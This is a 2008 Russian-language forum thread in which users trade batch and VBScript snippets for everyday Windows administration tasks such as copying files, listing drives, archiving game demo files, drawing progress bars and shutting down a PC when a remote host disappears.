Как удалить темповые файлы при выходе из WinXP Home!!! //это если вызывать не из bat-файла, но ту же команду.
Если же непосредственно по твоему вопросу - см. здесь, с учетом комментария.
>
amel27, кол-во выводимых сообщений у участника в настройках может отличаться от аналогичных настроек у тебя (напр., у меня в данной теме всего 12 страниц и, соответственно, сложно было бы прочесть 24-ю ;)). Корректнее будет называть номер сообщения и давать ссылку непосредственно на него.

xctr 22-11-2008 06:27 959845

Всем спасибо разобрасля :) применил:
cmd /c rd /s /q "%userprofile%\local settings\temp\"

D_Master 23-11-2008 19:15 961149

Как можно определить ВСЕ жесткие и сьемные диски на компьютере и раскидать по ним определённые файлы и папки?

Petya V4sechkin 23-11-2008 20:37 961232

D_Master, пример Drives.vbs из Flash Drive Disinfector:
Код:

On Error Resume Next

Const ForAppending = 8
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile("_drives.cf")
Set objLogFile = objFSO.OpenTextFile("_drives.cf", ForAppending, True)

Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\cimv2")
For Each objDisk in objWMIService.ExecQuery ("Select * from Win32_LogicalDisk")
    If objDisk.DriveType = "2" Or objDisk.DriveType = "3" Then
        objLogFile.Write( objDisk.DeviceID)
        objLogFile.writeline
End If
Next

Создает файл _drives.cf со списком жестких и съемных дисков.

D_Master 23-11-2008 21:33 961275

Petya V4sechkin, всё супер, всё копируется, правда осталась небольшая проблемка - скрипт определяет ещё и диск A:\ и пытается накопировать файла туда, как бы этого избежать?
Для копирования использую такой код:
Код:

@echo off
cscript copy.vbs >null
For /F "Delims=" %%I In (_drives.cf) Do Call :сopy %%~I
:copy
Set J=%~1
copy marker.file %J:~0% >null
del null


inplust 23-11-2008 22:17 961328

Оч маленькая просьба по CMD
 
Всем здрасте)
Я сам 0 в командной строке, и даже незнаю с чего начать.. в гугле забил, чёт ничё ненашёл...
надо вообщем чтобы копировал 2 файла из одной папки в другуй с заменой и посли этого запускал приложение..
Спасибо за любую помощ чайнику!
буду очень благодарен!!)

pva 23-11-2008 22:58 961367

вот так сработало:
Код:

D:\Work\cpp\c++test>copy /y test.cpp d:\temp | copy /y main.cpp d:\temp | explorer d:\temp
если надо чтоб при неудачи одноги из копирований (ну сети там нет или ещё чего) запуска не было:
Код:

D:\Work\cpp\c++test>copy /y test.cpp d:\temp && copy /y main.cpp d:\temp && explorer d:\temp
если надо чтоб выполнилось первое действие из перечисленных по списку:
Код:

D:\Work\cpp\c++test>copy /y test.cpp d:\temp || copy /y main.cpp d:\temp || explorer d:\temp
В общем, при помощи || (=или), && (=и) и скобок можно сформулировать условный запуск нескольких команд в строчке
ещё есть вариант писать батник или скрипт

inplust 24-11-2008 01:09 961506

Блин ничего не понял... тыкал, тыкал.. (

мне нужно
F:/111/download.dat
F:/111/global.dat
F:/111/opera6.ini
перенести с заменой в
E:\Program Files\Opera\profile
и потом автоматически запустить opera.exe....
если не трудно помогите плз..

Bosika 24-11-2008 01:19 961510

Уважаемый amel27 подсказал с написанием кода, который прекрасно работает.
Код:

@Echo Off
Set PRGDIR=%ProgramFiles%\XXX
Set PRGEXE=yyy.exe
Set PRGNEW=yyy_new.exe
Set PRGOLD=yyy_old.exe
If Not Exist "%PRGDIR%\%PRGNEW%" MSG * "Предупреждение! Обновлений программы не обнаружено!"& Exit
If Exist "%PRGDIR%\%PRGOLD%" DEL /Q /F "%PRGDIR%\%PRGOLD%"
If Not Exist "%PRGDIR%\%PRGOLD%" REN "%PRGDIR%\%PRGEXE%" "%PRGOLD%"
If Not Exist "%PRGDIR%\%PRGEXE%" REN "%PRGDIR%\%PRGNEW%" "%PRGEXE%"
If Exist "%PRGDIR%\%PRGNEW%" MSG * "Ошибка! Обновление программы не произведено, обратитесь к администратору!"& Exit
MSG * "Сообщение! Программа обновлена, для применения изменений необходим выход из программы."

Можно ли, реализовать в данном скрипте, что бы при выводе этих сообщений, в текстовом окне, отображался соответственный значок: или похожий по смыслу.

D_Master 24-11-2008 05:53 961582

inplust,
Код:

@echo off
set dir="E:\Program Files\Opera\profile"
set out=F:\111
copy /Y %out%\download.dat %dir%\
copy /Y %out%\global.dat %dir%\
copy /Y %out%\opera6.ini %dir%\
cd /D E:\Program Files\Opera
start opera.exe
exit


amel27 24-11-2008 07:37 961612

Цитата:

Цитата Bosika
что бы при выводе этих сообщений, в текстовом окне, отображался соответственный значок »

через CMD никак, можно через VBS:
Код:

On Error Resume Next

PrgDir = "MyProgram" ' Путь относительно %ProgramFiles%
PrgExe = "yyy.exe"
PrgNew = "yyy_new.exe"
PrgOld = "yyy_old.exe"

Set objWSS = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")

PrgDir = objWSS.ExpandEnvironmentStrings("%ProgramFiles%") &"\"& PrgDir
PrgExe = PrgDir &"\"& PrgExe
PrgNew = PrgDir &"\"& PrgNew
PrgOld = PrgDir &"\"& PrgOld

If (objFSO.FileExists(PrgNew) = vbFalse) Then
    Call
MsgBox("Обновлений программы не обнаружено!",32,"Сообщение")
    Wscript.Quit
End If

If
(objFSO.FileExists(PrgOld) = vbTrue ) Then objFSO.DeleteFile PrgOld
If (objFSO.FileExists(PrgOld) = vbFalse) Then objFSO.MoveFile PrgExe, PrgOld
If (objFSO.FileExists(PrgExe) = vbFalse) Then objFSO.MoveFile PrgNew, PrgExe
If (objFSO.FileExists(PrgNew) = vbTrue ) Then
    Call
MsgBox("Обновление программы не произведено, обратитесь к администратору!",16,"Ошибка")
    Wscript.Quit
End If

Call
MsgBox("Программа обновлена, для применения изменений необходим выход из программы.",48,"Предупреждение")


Petya V4sechkin 24-11-2008 10:03 961701

Цитата:

Цитата D_Master
осталась небольшая проблемка - скрипт определяет ещё и диск A:\ и пытается накопировать файла туда, как бы этого избежать?

Можно добавить проверку MediaType:
Код:

On Error Resume Next

Const ForAppending = 8
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile("_drives.cf")
Set objLogFile = objFSO.OpenTextFile("_drives.cf", ForAppending, True)

Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\cimv2")
For Each objDisk In objWMIService.ExecQuery ("Select DeviceID From Win32_LogicalDisk Where ((DriveType = 2 Or DriveType = 3) And (MediaType = 0 Or MediaType = 11 Or MediaType = 12 Or MediaType Is Null))")
        objLogFile.Write(objDisk.DeviceID)
        objLogFile.WriteLine
Next


D_Master 24-11-2008 13:03 961894

Petya V4sechkin, благодарю, всё супер! :up

Rostlv 24-11-2008 13:36 961942

Несколько вопросов по CMD:

1. Нужна команда позволяющая запуск CMD-файла только в указаной директории, если запустить файл в любой другой - отмена выполнения.

2. Как указать в CMD-файле проверку наличия большого количества файлов (примерно 40), при отсутствии хотя-бы одного из указанных - отмена выполнения.

3. Как указать проверку включена ли служба, если нет - запустить службу.

4. Можно ли прописать в CMD-файл проверку наличия определённого процесса, при отсутствии такого - выход из исполняемого CMD.

5. Если по какой либо причине, например после принудительного завершения процесса CMD.exe, мой CMD-файл прекратил работу, какая должна быть команда самоудаления.

6. Как самоудалить скрытый CMD, [Del /F /Q %0] - не работает.

7. Как прописать в файл дистрибутива svcpack.in_ свою строку?

inplust 24-11-2008 14:26 961982

D_Master, спасиб большое! Выручил! Всё работает! :up

Freezet 24-11-2008 14:49 962019

Нужен батник.

Имеется папка cstrike, в ней примерно каждый час появляются 2 новых *.dem файла, имена их примерно такие
cl-0811241311-de_train.dem
cl-0811241301-de_dust2.dem
где:
cl - не меняется
081124 - дата (год/месяц/число)
1311 и 1301 - время (чч/мм)
de_dust2 и de_train - часть имени (имена карт в игре CS 1.6)

Нужно чтоб при запуске батника файлы dem с папки cstrike добавлялись в архив (можно winrar или 7zip) и перемещались в папку demos/%date%/ тоесть каждый день новая папка в которой файлы dem только за етот день. Пример:
demos/24.11.08/cl-0811241311-de_train.dem.rar
demos/24.11.08/cl-0811241301-de_dust2.dem.rar
demos/25.11.08/cl-0811251740-de_nuke.dem.rar
demos/25.11.08/cl-0811251805-de_inferno.dem.rar

чтоб ето было только за последние 5 дней, тоесть когда пойдет 6й день то папка с 1м днем стерлась :)

Только одна проблема наверное, последний созданный файл будет не законченым и каждую секунду будет набирать вес, тоесть нужно сделать чтоб его в архив не бросало и не перемещало.

Батник будет добавлен в Назначенные задания и будет выполнятся каждый час.

Заранее спасибо

amel27 25-11-2008 11:42 962949

Rostlv
1. Каталог запуска ROOT
Код:

Set ROOT=C:\TEST

If "%~dp0" NEQ "%ROOT%\" Exit

@Echo Текст скрипта

2. Одноименный LST-файл содержит список обязательных файлов
Код:

Set ROOT=C:\WINDOWS

DIR /B/A:-D "%ROOT%\*" >"%~dpn0.tmp"
FindStr /IVBEG:"%~dpn0.tmp" "%~dpn0.lst"

If Not ErrorLevel 1 Exit
@Echo Текст скрипта

3. Так проверить или запустить?.. "NET START /?"
4. Например так:
Код:

Set PROCESS=notpad.exe

For /F %%i In ('TaskList^|FindStr /BIC:"%PROCESS%"') Do Set PROCNAME=%%i
If "%PROCNAME%"=="" Exit

@Echo Текст скрипта

5,6 Не вижу разницы между вопросами
Код:

ATTRIB -R -H -S "%0"
DEL "%0"

7. распаковать -> записать -> запаковать
Код:

Set ROOT=C:\TEST

Set $CAB=%ROOT%\svcpack.in_
Set $INF=%TEMP%\svcpack.inf

Expand "%$CAB%" "%$INF%"
Echo Строка 1 >>"%$INF%"
Echo Строка 2 >>"%$INF%"

makecab /D CompressionType=LZX /D CompressionMemory=21 /L "%ROOT%" "%$INF%"
del /f /q "%$INF%"


amel27 25-11-2008 12:00 962964

Freezet,
Цитата:

Цитата Freezet
Нужен батник »

тут не стол заказов, а место обсуждения конкретных проблем, для начала приложите свои усилия

D_Master
Цитата:

Цитата Petya V4sechkin
пример Drives.vbs из Flash Drive Disinfector »

тот же запрос на CMD:
Код:

For /F %%i In ('WMIC LogicalDisk Where "(DriveType=2 Or DriveType=3) And (MediaType=0 Or MediaType=11 Or MediaType=12 Or MediaType Is Null)" GET DeviceID^|Find ":"') Do @Echo %%i

Rostlv 25-11-2008 14:42 963146

amel27
Большое спасибо за то, что откликнулись. Хочу уточнить.

По вопросу 3, сначала проверить включена ли служба и только при её отключенном состоянии, включить.

По вопросу 5, мой CMD работает, я беру и завершаю процесс CMD.exe, скрипт прекращает работу, но остаётся в директории запуска, отсюда вопрос, как самоудалить мой файл в случае принудительного завершения процесса? Или если возможно запретить принудительное завершение моего процесса CMD.exe, потому что, возникают ошибки, файл лучше отрабатывать до конца.

Freezet 25-11-2008 16:25 963251

amel27, прошу прощения... что я должен сделать? если не разбираюсь в етом? ето не раздел помощи? я приложил усилия чтоб правильно и понятно задать вопрос....

Тема называется Нужна помощь в написании BAT.... чем не понравились мои слова?

Помощи не ждать?

amel27 26-11-2008 04:18 963755

Freezet
извиняюсь за назидательный тон, но незнание не освобождает от чтения справки (зачем шапка?),
от готового скрипта мало толку если вы сами не приложили к нему свою руку и голову

Цитата:

Цитата Freezet
что я должен сделать?

разбить задачу на маленькие подзадачи, попытаться самостоятельно решить каждую в отдельности:

1. определить по имени файла имя архива;
2. добавить файл в архив и удалить оригинал;
3. определить по имени архива имя папки назначения;
4. отделить старые архивы от актуальных;
5. переместить старые архивы в свои папки хранения;
6. удалить старые папки хранения в каталоге назначения.

каждая задача может решаться по разному
Код:

@Echo Off
SetLocal EnableDelayedExpansion

Set DIR1=C:\CSTRIKE
Set DIR2=C:\DEMOS
Set NMAX=5

For %%i In ("%DIR1%\*.dem") Do Rar m -ep %%i.rar %%i
For %%i In ("%DIR1%\*.rar") Do (
    Set $NAME=%%~ni
    Set $Y=!$NAME:~3,2!
    Set $M=!$NAME:~5,2!
    Set $D=!$NAME:~7,2!

    If "%DATE%" NEQ "!$D!.!$M!.20!$Y!" (
        Set $PATH=%DIR2%\!$D!.!$M!.!$Y!\
        If Not Exist "!$PATH!" MD "!$PATH!"
        MOVE "%%i" "!$PATH!"
    )
)
For /F "Delims=" %%i In ('DIR /O:-D /A:D /B "%DIR2%\*"') Do (
    Set /A NMAX -=1
    If !NMAX! LSS 0 RD /S /Q "%DIR2%\%%i"
)

З.Ы. Кстати, про секунды неясность - в имени файла их нет, а имя архива в условии в точности совпадает именем файла... или старые файлы перезаписываются?.. тогда и в архиве они тоже будут перезаписываться!

amel27 26-11-2008 10:16 963885

Rostlv,
Цитата:

сначала проверить включена ли служба и только при её отключенном состоянии, включить »
NET START сам это делает :)
Цитата:

мой CMD работает, я беру и завершаю процесс CMD.exe, скрипт прекращает работу, но остаётся в директории запуска, отсюда вопрос, как самоудалить мой файл в случае принудительного завершения процесса? »
из батника никак
Цитата:

запретить принудительное завершение моего процесса CMD.exe »
от кого защищать? Администратор может завершить любой процесс (кроме SYSTEM), обычный пользователь только свои

Freezet 26-11-2008 13:20 964048

amel27, справку читал и основные команды понимаю.. Кое что могу и сам но все же каждый будет делать по своему, как ему легче. мой вариант будет плохим, так как новичок :)

При запуске батника пишет Системе не удается найти указанный путь

на счет совпадений имен думаю их не будет или очень-очень редко :)

amel27 26-11-2008 13:29 964057

Цитата:

Цитата Freezet
При запуске батника пишет Системе не удается найти указанный путь »

скопируй RAR.EXE в каталог с батником или добавь путь к нему в переменную PATH
Цитата:

Цитата Freezet
на счет совпадений имен думаю их не будет »

тогда в каждом архиве будет по одному файлу, т.е. накопительных архивов не будет

Rostlv 26-11-2008 16:45 964264

amel27, уточнения по вопросу 4:
Нужно, чтобы этот код работал на протяжении всего CMD-скрипта, а не единожды, как это сделать?

Цитата:

Set PROCESS=cmd.exe
For /F %%i In ('TaskList^|FindStr /BIC:"%PROCESS%"') Do Set PROCNAME=%%i
If "%PROCNAME%"=="" (
Del /F /Q %0
GoTo :EOF
)
уточнения по вопросу 7:
Код работает, но записывает квадратики, как установить правильную кодировку?

amel27 27-11-2008 03:01 964808

Rostlv
Цитата:

чтобы этот код работал »
нерабочий код, cmd.exe это тот же батник, т.е. типа: если меня "убили" - убрать свой "труп"
это какой такой "дух скрипта" будет потом удалять? :) если волнует безопасность, варианты:

- запускать батник из TEMP-каталога (рано или поздно удалится);
- компилировать батник в EXE-файл, тогда вскрыть код будет проблематично;
- отслеживать процесс другим скриптом или тем же, но запущенным в другом процессе, но простой проверки "CMD.EXE" будет недостаточно (оба процесса будут CMD.EXE)

Цитата:

Цитата Rostlv
записывает квадратики, как установить правильную кодировку? »

хранить текст батника в DOS-кодировке (синонимы: OEM, 866)

DImaN! 27-11-2008 09:01 964896

Добрый день. Я уже задавал этот вопрос в теме по AutoIT, но меня перенаправили сюда. Не могли бы Вы мне помочь с одной маленькой задачей, а именно:
Как можно в VBScript получить путь к текущей директории и zip-архиву. К примеру, на диске С в папке folder находится какой-то file.zip, нужно его распаковать средствами VBScript.
Но нужно, чтобы сам файл скрипт искал в той же директории, где и он сам находится (+ желательно, чтобы он искал все архивы и их распаковывал).
Вот пример моего кода, который как я написал распаковывает только указанный файл в указанной директории:
Код:

strZipFile = "c:\folder\file.zip"       
outFolder = "c:\folder"
   
Set objShell = CreateObject( "Shell.Application" )
Set objSource = objShell.NameSpace(strZipFile).Items()
Set objTarget = objShell.NameSpace(outFolder)
intOptions = 256
objTarget.CopyHere objSource, intOptions


Creat0R 28-11-2008 01:35 965804

DImaN!,
Цитата:

Цитата DImaN!
Как можно в VBScript получить путь к текущей директории »

Так:

Код:

Wscript.Echo GetScriptDir()

Function GetScriptDir()
        GetScriptDir = Left(WScript.ScriptFullName, InStrRev(WScript.ScriptFullName, "\", -1, 1)-1)
End Function

Цитата:

Цитата DImaN!
К примеру, на диске С в папке folder находится какой-то file.zip, нужно его распаковать средствами VBScript.
Но нужно, чтобы сам файл скрипт искал в той же директории, где и он сам находится (+ желательно, чтобы он искал все архивы и их распаковывал). »

Можно попробовать примерно так (не тестировал):

Код:

'On Error Resume Next

Dim sScriptDir, sZipsDir, sUnZipDir

Set FSO                = WScript.CreateObject("Scripting.FileSystemObject")
Set oShell                = WScript.CreateObject("Shell.Application")

sScriptDir                = Left(WScript.ScriptFullName, InStrRev(WScript.ScriptFullName, "\", -1, 1)-1)

sZipsDir                = sScriptDir
sUnZipDir                = sScriptDir

Set oRoot                = FSO.GetFolder(sZipsDir)
Set oAllFiles                = oRoot.Files

For Each oFile in oAllFiles
        If Right(oFile.Name, 4) = ".zip" Then UnZipFiles oFile.Path, sUnZipDir
Next

Function UnZipFiles(sZipFile, sDest)
        'Get zip file namespace object
        Set oFolder = oShell.NameSpace(sZipFile)
       
        'Get list of items in zip file
        Set oItems = oFolder.Items
       
        'If not exists, create destination folder
        If FSO.FolderExists(sDest) = 0 Then FSO.CreateFolder(sDest)
       
        'Get destination folder namespace object
        Set oDest = oShell.NameSpace(sDest & "\")
       
        'Extract the files
        oDest.CopyHere oItems, 64
End Function


DImaN! 28-11-2008 10:06 966021

Creat0R, огромное спасибо! Все замечательно работает... Осталось только капитально разобраться в Вашем скрипте

NBA 28-11-2008 12:38 966190

Нужна помощь!!! Нужно скопировать файлы с одного сервера на другой. Проблема заключается в том, что server2 включается каждий день в неизвестное время с 9AM до 12 AM
copy /Y /Z "\\server1\Share$\BACKUP\*.bkp", "\\server2\Share$\BACKUP\*.bkp"
Т.е. если server2 нету должен сработать таймер пока server2 не появится. Команда АТ не катит.
Заранее спасибо за ответы

NBA 28-11-2008 14:25 966309

ето должно быть что-то типа:
if exist \\server2\backup\nul goto process copy /Y /Z "\\server1\Share$\BACKUP\*.bkp", "\\server2\Share$\BACKUP\*.bkp",
но у меня почему-то не получается, скрипт отрабатывает но нет никаких сообщений и файл не копируется
к тому же нужно в указаное время - с 9AM до 12 AM а то он будет бесконечно так лобудеть
P.S.: Я новенький и зелененький

censored 28-11-2008 15:06 966344

Помогите с написанием батника.
 
Как в батнике сделать чтобы был выбор. Например: Выбирите номер дейсвия (1,2,3,4). Допустим если выбирают 1 то выполняется одна команда, если 2 то другая...и т.д.

Petya V4sechkin 28-11-2008 15:50 966371

censored, как-то так:
Код:

@Echo Off
Set /P Ch=Выберите номер действия (1,2,3,4)
If "%Ch%"=="1" Echo 1-я команда
If "%Ch%"=="2" Echo 2-я команда
If "%Ch%"=="3" Echo 3-я команда
If "%Ch%"=="4" Echo 4-я команда


censored 28-11-2008 15:57 966377

Спасибо.

Rostlv 29-11-2008 18:50 967433

1. Нужно написать код для проверки большого количества файлов в разных директориях, и в случае отсутствия хотя-бы одного, вывести окошко с текстом об отсутствии файлов. Главное, чтобы эту команду не перечислять после указания каждого файла, она одинакова для всех отсутствующих файлов, должно быть красиво. :)

Мой вариант:
Цитата:

If Not Exist %Директория%\файл.exe (
msg * "Текст с сообщением"
GoTo :EOF
)
2. Как с помощью CMD создать реально работающий прогрессбар?

3. Чем лучше всего компилировать cmd-файл в .exe

Заранее спасибо.

yurfed 29-11-2008 21:23 967585

Цитата:

GoTo :EOF
не совсем понятен переход в конец содержимого файла (EOF) и не совсем понятен смысл-
Цитата:

Цитата Rostlv
и в случае отсутствия хотя-бы одного, вывести окошко с текстом об отсутствии файлов. »

Я в этом написании не силён, но при отсутствии файлов больше чем один, вы просто не заметите какой отсутствует. Это будет происходить очень быстро

D_Master 29-11-2008 21:40 967602

Rostlv,
Цитата:

Цитата Rostlv
Нужно написать код для проверки большого количества файлов в разных директориях, и в случае отсутствия хотя-бы одного, вывести окошко с текстом об отсутствии файлов. »

Предложу так:
Код:

@echo off
if exist file1.ext (
call :yes1 ) else (
call :no1
)
:yes1
if exist file2.ext (
call :yes2 ) else (
call :no2
)
rem и т.д.

:no1
cls
echo Файл file1.ext не существует!
pause
exit

:no2
cls
echo Файл file2.ext не существует!
pause
exit



Но это слишком долго, если нужен
Цитата:

Цитата Rostlv
код для проверки большого количества файлов в разных директориях »

Цитата:

Цитата Rostlv
Как с помощью CMD создать реально работающий прогрессбар? »

Насколько мне известно, никак. Копайте в сторону VBS и/или AutoIt'a
Цитата:

Цитата Rostlv
Чем лучше всего компилировать cmd-файл в .exe »

Quick Batch File Compiler

gora 29-11-2008 22:03 967627

Цитата:

Цитата Rostlv
Нужно написать код для проверки большого количества файлов в разных директориях, и в случае отсутствия хотя-бы одного, вывести окошко с текстом об отсутствии файлов. Главное, чтобы эту команду не перечислять после указания каждого файла, она одинакова для всех отсутствующих файлов, должно быть красиво. »

Попробуйте так:
Код:

@Echo off
For %%I In (
 "Директория\файл.exe"
 "Директория\файл2.exe"
 "Директория\файл3.exe"
 "Директория\файл4.exe"
 "Директория\файл5.exe"
 "Директория 1\файл.exe"
 "Директория 1\файл2.exe"
 "Директория 1\файл3.exe"
 "Директория 1\файл4.exe"
 "Директория 1\файл5.exe"
) Do If Not Exist "%%~I" msg * /w /TIME:2 File '%%I' is absent.
exit

Цитата:

Цитата Rostlv
If Not Exist %Директория%\файл.exe »

Не делайте переменных содержащих кирилицу.

Если у Вас в каждой директории ищутся одни и те же файлы, то можно сделать еще короче применив вложенный цикл.

amel27 01-12-2008 06:56 968694

NBA
Цитата:

нужно в указаное время - с 9AM до 12 AM а то он будет бесконечно так лобудеть »
тогда без планировщика не обойтись

Rostlv
Цитата:

1. Нужно написать код для проверки большого количества файлов в разных директориях »
вроде уже спрашивал, чем не устраивает п.2 ?
Цитата:

2. Как с помощью CMD создать реально работающий прогрессбар? »
Progress Meter by Roy Holt, пример использования:
Код:

@ECHO OFF

CALL :ProgressMeter 0
For %%i In (10 20 30 40 50 60 70 80 90 100) Do (
        Ping -n 2 127.0.0.1 >Nul
        CALL :ProgressMeter %%i
)


Rostlv 02-12-2008 17:38 970212

Ещё 2 вопроса:
1. Какой ключ применить для старта и отображения текстового документа (.txt, .rtf, .doc) в режиме "поверх всех окон"?
2. Можно ли с помощью CMD проверить свободное место на системном и (или) загрузочном дисках, и в случае нехватки последнего выйти из CMD-файла?
Спасибо.

Creat0R 03-12-2008 01:33 970633

amel27,
Цитата:

Цитата amel27
Progress Meter by Roy Holt, пример использования:»

Никогда бы не подумал что в батнике можно это сделать :).
Пример с отображением в самой консоли...

Код:

@ECHO OFF

CALL :ProgressMeter 0

For %%i In (10 20 30 40 50 60 70 80 90 100) Do (
        Ping -n 2 LocalHost > Nul
        CALL :ProgressMeter %%i
)

Ping -n 3 LocalHost > Nul

:: ******************************************************************
:ProgressMeter
:: 2007_01_10 by rholt
:: core2quad@rogers.com
:: This subroutine displays a progress meter in the titlebar of
:: the current CMD shell window.
::
:: Input: %1 must contain the current progress (0-100)
:: Return: None
:: ******************************************************************
:: Calculate the number of vertical bars then spaces based on the percentage value passed
SETLOCAL ENABLEDELAYEDEXPANSION

SET ProgressChar=I
SET ProgressPercent=%1
SET /A NumBars=%ProgressPercent%/2
SET /A NumSpaces=50-%NumBars%

:: Clear the progress meter image
SET Meter=
CLS

COLOR 0A

:: Build the meter image using vertical bars followed by trailing spaces
:: Note there is a trailing space at the end of the second line below
FOR /L %%A IN (%NumBars%,-1,1) DO SET Meter=!Meter!%ProgressChar%
FOR /L %%A IN (%NumSpaces%,-1,1) DO SET Meter=!Meter!

:: Display the progress meter in the title bar and return to the main program
TITLE Progress: [%Meter%] %ProgressPercent%%%...
ECHO Progress: [%Meter%] %ProgressPercent%%%...

ENDLOCAL

GOTO :EOF



Rostlv,
Цитата:

Какой ключ применить для старта и отображения текстового документа (.txt, .rtf, .doc) в режиме "поверх всех окон"?
Можно так:

Код:

Start "SomFile.txt" && Start Cmdow "Title" /Top

amel27 03-12-2008 07:57 970752

Creat0R,
Цитата:

Пример с отображением в самой консоли
в твоем примере зачищается хистори... давно хотел такое же, но без затирания, вроде нашел:
Код:

@Echo Off
Setlocal EnableDelayedExpansion

Echo. Процесс запущен
For /L %%i In (1,1,100) Do (
  Call :SHOW %%i Тестирование...
  Ping -n 1 127.0.0.1 >Nul
)
Echo.
Echo.
Echo. Процесс завершен
Echo.
Pause

Exit


:SHOW
Set $COLS=70

If Not Defined $P (
  Set /A $P=0
  Set $X=[
  For /L %%a In (1,1,%$COLS%) Do Set $X=!$X!.
  Set $X=!$X!]
  For /L %%a In (1,1,%$COLS%) Do Set $X=!$X!
  Set $X=!$X!
  Echo.
  <Nul Set /P $X=!$X!
)
Set $X=
Set /A $D = (%$COLS%*%1)/100 - (%$COLS%*%$P%)/100
If %$D% GTR 0 For /L %%a In (1,1,%$D%) Do Set $X=!$X!#
If %1 EQU 100 Set $X=!$X!]
<Nul Set /P $X=!$X!
Title %2%1%% Done
Set $P=%1

GoTo :EOF


Creat0R 04-12-2008 00:26 971744

amel27,
Цитата:

Цитата amel27
давно хотел такое же, но без затирания, вроде нашел »

Привосходно! я пробовал, но очень быстро опустил руки, видимо думал что нереально :).

D_Master 04-12-2008 23:09 972722

Подскажите плиз, как можно реализовать небольшой мониторинг времени:
к примеру, есть определенный промежуток времени - с 23:00 до 09:00. Надо сделать так, чтобы в батник проверял время, и, если текущее время соответствует заданному промежутку, то выполняет какие-либо действия.
Всё, на что хватило моих познаний, это на мониторинг определенного времени (не промежутка):
Код:

@echo off
:monitor
set stoptime=23:00
for /F %%t in ('time/T') do set T=%%t
if %T%==%stoptime% (
call :stop
) else (
call :monitor

:stop
start stop.exe
exit


Creat0R 05-12-2008 00:51 972782

D_Master,
Цитата:

Цитата D_Master
Надо сделать так, чтобы в батник проверял время, и, если текущее время соответствует заданному промежутку, то выполняет какие-либо действия. »

Примерно так:

Код:

@Echo Off

Set StopTime1=23:00
Set StopTime2=09:00

:Monitor
For /F %%i In ('Time/T') Do Set CurrentTime=%%i

If %CurrentTime% GTR %StopTime2% If %CurrentTime% GEQ %StopTime1% Call :Stop
If %CurrentTime% LSS %StopTime1% If %CurrentTime% LEQ %StopTime2% Call :Stop

Ping -n 2 LocalHost > Nul
GoTo :Monitor

:Stop
Start Stop.exe
Exit


D_Master 05-12-2008 02:34 972829

Creat0R, спасибо, всё работает! :up

censored 08-12-2008 16:41 975624

echo Off
cls
echo Нажмите:
echo "1" , если nForce2
echo "2" , если nForce4
echo "3" , если другое.
Set /P Ch=Сделайте Ваш выбор:
If "%Ch%"=="1"
Echo Устанавливаем драйвера для NForce2 ....
start \Program files\ASV\nforce2\setup.exe
goto :1
If "%Ch%"=="2"
Echo Устанавливаем драйвера для nForce4.....
start \Program Files\ASV\nForce4\setup.exe
goto :1
If "%Ch%"=="3"
goto :1

Подскажите где ошибка.

Petya V4sechkin 08-12-2008 16:46 975630

censored, goto :1 замечательно, а где сама метка? куда переход?

Код:

echo Off
cls
echo Нажмите:
echo "1" , если nForce2
echo "2" , если nForce4
echo "3" , если другое.
Set /P Ch=Сделайте Ваш выбор:
If "%Ch%"=="1" (
  Echo Устанавливаем драйвера для NForce2 ....
  start \Program files\ASV\nforce2\setup.exe
)
If "%Ch%"=="2" (
  Echo Устанавливаем драйвера для nForce4.....
  start \Program Files\ASV\nForce4\setup.exe
)


censored 08-12-2008 16:52 975635

правельно переход ":1" дальше, я просто его не включал в список, он не работал при нажатии 1 и 2, не имеет значения

censored 08-12-2008 17:52 975681

Подскажи пожалуйста.
netsh interface ip set address name = "Подключение по локальной сети" source = static addr = 172.20.4.%IP_Addr% mask = 255.255.255.0 gateway = 172.20.4.254 gwmetric = 1

Бывает при установке драйвера "Подключение по локальной сети №", можно ли задать для всех ?

если ответа не нашлось, наверное нельзя :(

sLiDeR-X 09-12-2008 20:15 976654

у меня практически из той же оперы вопрос...
как сделать так, чтоб когда нет определенного компа в сети (выключился), выключить мой? при этом, чтоб не нагружать проц, сделать проверку раз в n минут

Petya V4sechkin 09-12-2008 20:58 976701

sLiDeR-X, можно включить в планировщик заданий (раз в n минут) примерно такой батник:
Код:

Ping -n 1 имя_или_IP-адрес
If "%ErrorLevel%" NEQ "0" Shutdown -s -t 60 -f

Вместо имя_или_IP-адрес подставить нужное.
Пинг должен быть разрешен.

sLiDeR-X 10-12-2008 05:40 977024

а если не через планировщик, у меня он зависает :(

flighttothemoon 13-12-2008 02:35 979947

Присоединяюсь к теме. Кто может, помогите написать простой (не для меня, как видите) сценарий. Скрипт на командной строке, пробуждающий удаленный компьютер в локальной сети c помощью программы poweroff (http://users.telenet.be/jbosman/applications.html). Добавляю его в автозагрузку ноутбука, но скрипт запускается прежде, чем компьютер найдет беспроводную домашнюю сеть (иногда приходится ждать даже минуту). Вот думаю - как сначала проверить, подключился ли компьютер к командной строке - и потом только запускать программку poweroff? Можно ли это проверить командами командной строки? Спасибо заранее за помощь.

amel27 15-12-2008 12:13 981407

Цитата:

Цитата sLiDeR-X
а если не через планировщик »

примерно так, понятно что расчет паузы грубый
Код:

Set $MIN=3
Set $MLT=60

Set $NAME=MyComp

Set /A $MIN=%$MIN%*%$MLT%
:LOOP
Ping -n %$MIN% 127.0.0.1 >Nul
Ping -n 1 %$NAME%
If ErrorLevel 1 GoTo LOOP

Shutdown -s -t 60 -f

Цитата:

Цитата flighttothemoon
как сначала проверить, подключился ли компьютер к командной строке - и потом только запускать программку poweroff? »

тем же пингом пойдет?
Код:

Set $IP=192.168.0.10
Set NET=255.255.255.0
Set MAC=1234567890ab

:LOOP
Ping -n 5 127.0.0.1 >Nul
Ping -n 1 %$IP%
If ErrorLevel 1 GoTo LOOP

PowerOff wol -ip %$IP% -subnet %NET% -mac %MAC%


censored 15-12-2008 12:16 981411

Спасибо сам разобрался.
Выход netsh interface ip set address name = "Подключение" source = static addr = %IP_Addr% mask = 255.255.255.0 gateway = IP gwmetric = 1

sLiDeR-X 15-12-2008 13:56 981492

amel27, а почему бы не сделать проще, например вот так:
Код:

@Echo Off

Set $MIN=60

Set $IP=192.168.10.45

:LOOP
Ping -n %$MIN% 127.0.0.1 >Nul
Ping -n 1 %$IP%
If ErrorLevel 1 Shutdown -s -t 60 -f
GoTo LOOP

для чего делается вот это?
Код:

